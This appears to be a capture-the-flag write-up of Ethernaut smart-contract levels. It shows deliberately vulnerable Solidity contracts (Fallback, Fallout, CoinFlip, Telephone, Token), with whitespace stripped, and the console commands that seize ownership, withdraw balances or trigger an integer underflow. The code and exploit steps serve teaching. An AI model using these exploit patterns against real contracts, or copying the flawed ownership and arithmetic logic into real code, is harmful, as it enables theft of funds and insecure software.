// SPDX-License-Identifier: MIT
pragmasolidity^0.6.0;import'@openzeppelin/contracts/math/SafeMath.sol';contractFallback{usingSafeMathfor uint256;
mapping(address=>uint)publiccontributions;addresspayablepublicowner;constructor()public{owner=msg.sender;contributions[msg.sender]=1000*(1ether);}modifieronlyOwner{require(msg.sender==owner,
"caller is not the owner");_;}functioncontribute()publicpayable{require(msg.value<0.001ether);contributions[msg.sender]+=msg.value;if(contributions[msg.sender]>contributions[owner]){owner=msg.sender;}}functiongetContribution()publicviewreturns(uint){returncontributions[msg.sender];}functionwithdraw()publiconlyOwner{owner.transfer(address(this).balance);}//If you have contributed before and send a message that contains eth than you can change the owner.
receive()externalpayable{require(msg.value>0&&contributions[msg.sender]>0);owner=msg.sender;}}
Attack
//Deposit Money in to the Contract
awaitcontract.contribute({"value":1})//Validate that the money was transferred correctly
awaitcontract.getContribution()//Call the receive function with msg.value greater than 0
awaitcontract.sendTransaction({"value":1})//Check the owner
awaitcontract.owner()==player//Now that you are the owner you can withdraw the money
awaitcontract.withdraw()
A constructor function is a function that uses the keyword constructor or falls back to the Function with the same name as the contract name. Use the constructor keyword its harder to mess up.
Vulnerable Contract:
// SPDX-License-Identifier: MIT
pragmasolidity^0.6.0;import'@openzeppelin/contracts/math/SafeMath.sol';contractFallout{usingSafeMathfor uint256;
mapping (address=>uint)allocations;addresspayablepublicowner;/* constructor */functionFal1out()publicpayable{owner=msg.sender;allocations[owner]=msg.value;}modifieronlyOwner{require(msg.sender==owner,
"caller is not the owner");_;}functionallocate()publicpayable{allocations[msg.sender]=allocations[msg.sender].add(msg.value);}functionsendAllocation(addresspayableallocator)public{require(allocations[allocator]>0);allocator.transfer(allocations[allocator]);}functioncollectAllocations()publiconlyOwner{msg.sender.transfer(address(this).balance);}functionallocatorBalance(addressallocator)publicviewreturns(uint){returnallocations[allocator];}}
Solution:
//There is a miss typed function lets call it
awaitcontract.Fal1out()//Check that we are the owner
awaitcontract.owner()==player// Collect monry
awaitcontract.collectAllocations()
// SPDX-License-Identifier: MIT
pragmasolidity^0.8.0;contractCoinFlip{uint256publicconsecutiveWins;uint256lastHash;uint256FACTOR=57896044618658097711785492504343953926634992332820282019728792003956564819968;constructor(){consecutiveWins=0;}functionflip(bool_guess)publicreturns(bool){uint256blockValue=uint256(blockhash(block.number-1));if(lastHash==blockValue){revert();}lastHash=blockValue;uint256coinFlip=blockValue/FACTOR;boolside=coinFlip==1?true:false;if(side==_guess){consecutiveWins++;returntrue;}else{consecutiveWins=0;returnfalse;}}}
// SPDX-License-Identifier: MIT
pragmasolidity^0.8.0;contractTelephone{addresspublicowner;constructor(){owner=msg.sender;}functionchangeOwner(address_owner)public{if(tx.origin!=msg.sender){owner=_owner;}}}
Since tx.origin is the first root caller in the callstack and msg.sender is previous caller you can make a Chain.
User calls -> TelephoneAttack which calls -> Telephone.changeOwner(msg.sender)
// SPDX-License-Identifier: MIT
pragmasolidity^0.6.0;contractToken{mapping(address=>uint256)balances;uint256publictotalSupply;constructor(uint256_initialSupply)public{balances[msg.sender]=totalSupply=_initialSupply;}functiontransfer(address_to,uint256_value)publicreturns(bool){require(balances[msg.sender]-_value>=0);balances[msg.sender]-=_value;balances[_to]+=_value;returntrue;}functionbalanceOf(address_owner)publicviewreturns(uint256balance){returnbalances[_owner];}}
Attack Contract:
//Get Tokens Balance of 20
awaitcontract.balanceOf(player).then(v=>v.toString())//'20'
//Send 42 coins with the wrap around uint
awaitcontract.transfer({"address":contract.address,"value":42})//Overflow the ammount
awaitcontract.balanceOf(player).then(v=>v.toString())//'115792089237316195423570985008687907853269984665640564039457584007913129639914'